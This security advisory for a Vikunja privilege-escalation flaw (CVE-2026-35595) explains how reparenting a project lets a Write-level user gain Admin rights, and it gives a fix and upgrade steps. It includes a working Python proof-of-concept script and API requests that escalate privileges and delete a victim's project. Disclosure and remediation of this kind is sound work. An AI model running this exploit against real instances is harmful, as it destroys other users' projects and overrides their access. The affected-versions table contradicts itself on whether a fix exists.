GHSA-2vq4-854f-5c72 CVE-2026-35595 GO-2026-4952
Vikunja vulnerable to Privilege Escalation via Project Reparenting
- Severity
- 8.3 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.29%
- Chance of exploitation in the next 30 days. Higher than 21.62% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-269 Improper Privilege Management
- Fix
2.3.0- Upgrade code.vikunja.io/api to this version or later
Description
Summary
A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.
Details
The CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.
When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
newProject := &Project{ID: p.ParentProjectID}
can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin
if err != nil {
return false, err
}
if !can {
return false, ErrGenericForbidden{}
}
}
Proof of Concept
Tested on Vikunja v2.2.2.
1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
-> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}
-> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
-> Project deleted. victim gets 404.
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
victim_token = login("victim", "Victim123!")
attacker_token = login("attacker", "Attacker123!")
# victim creates parent -> child project hierarchy
parent = requests.put(f"{API}/projects", headers=h(victim_token),
json={"title": "Parent Project"}).json()
child = requests.put(f"{API}/projects", headers=h(victim_token),
json={"title": "Secret Child", "parent_project_id": parent["id"]}).json()
# victim shares parent with attacker at Write (attacker inherits Write on child)
requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token),
json={"username": "attacker", "permission": 1})
# attacker creates own root project
own = requests.put(f"{API}/projects", headers=h(attacker_token),
json={"title": "Attacker Root"}).json()
# before: attacker cannot delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE before reparent: {r.status_code}") # 403
# exploit: reparent child under attacker's project
r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token),
json={"title": "Secret Child", "parent_project_id": own["id"]})
print(f"Reparent: {r.status_code}") # 200
# after: attacker can now delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE after reparent: {r.status_code}") # 200 - escalated to Admin
# victim lost access
r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token))
print(f"Victim access: {r.status_code}") # 404 - project gone
Output:
DELETE before reparent: 403
Reparent: 200
DELETE after reparent: 200
Victim access: 404
The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.
Impact
Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.
Recommended Fix
Require Admin permission instead of Write when changing parent_project_id:
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
newProject := &Project{ID: p.ParentProjectID}
can, err := newProject.IsAdmin(s, a)
if err != nil {
return false, err
}
if !can {
return false, ErrGenericForbidden{}
}
canAdmin, err := p.IsAdmin(s, a)
if err != nil {
return false, err
}
if !canAdmin {
return false, ErrGenericForbidden{}
}
}
Found and reported by aisafe.io
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.vikunja.io/api | < 2.3.0 |
2.3.0 |
| code.vikunja.io/api | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.vikunja.io/api Go → 2.3.0
- go
go get code.vikunja.io/api@v2.3.0 && go mod tidy
Severity breakdown
CVSS 3.1 8.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Weakness
CWE-269: Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
- Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-m687-p538-r5hp Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted | Medium | Also affects code.vikunja.io/api |
| GHSA-fmmf-xq98-g327 Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check | Medium | Also affects code.vikunja.io/api |
| GHSA-pjr3-86v4-5p7w Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) | Medium | Also affects code.vikunja.io/api |
| GHSA-hjx8-qv73-f7cm Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed | High | Also affects code.vikunja.io/api |
| GHSA-fprf-r6rv-xg99 Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants | Medium | Also affects code.vikunja.io/api |
| GHSA-4hv6-xc92-j86g Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes | High | Also affects code.vikunja.io/api |
| GHSA-w2ch-4xgr-22ww Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal | Low | Also affects code.vikunja.io/api |
| GHSA-8wvg-r2j4-3737 Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint | Medium | Also affects code.vikunja.io/api |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor